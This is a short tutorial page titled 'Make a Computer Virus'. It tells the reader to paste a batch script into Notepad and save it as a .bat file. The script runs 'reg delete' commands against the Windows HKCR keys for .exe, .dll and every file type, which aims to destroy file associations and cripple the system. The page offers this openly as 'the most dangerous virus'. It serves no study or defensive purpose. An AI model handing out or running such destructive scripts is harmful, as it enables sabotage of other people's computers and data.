Make a Computer Virus

1) Open Notepad
2) Then copy below code and paste it.


        @ECHO OFF
         START reg delete HKCR/.exe
         START reg delete HKCR/.dll
         START reg delete HKCR/*



3) Save it as bat file 
4) Without bat extension it will not work on your computer

    WARNING :: This is the most dangerous virus..! Be careful with its use..
                                      ( Do not use this on your computer..)